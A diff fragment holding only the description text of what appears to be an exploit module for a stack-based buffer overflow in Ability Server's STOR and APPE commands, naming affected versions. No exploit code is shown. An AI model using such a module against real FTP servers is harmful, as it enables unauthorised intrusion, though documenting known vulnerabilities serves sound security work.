+				This module exploits a stack-based buffer overflow in Ability Server 2.34.
+				Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
+				which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
+
+				The vulnerability has been confirmed on version 2.34 and has also been reported
+				in version 2.25 and 2.32. Other versions may also be affected.
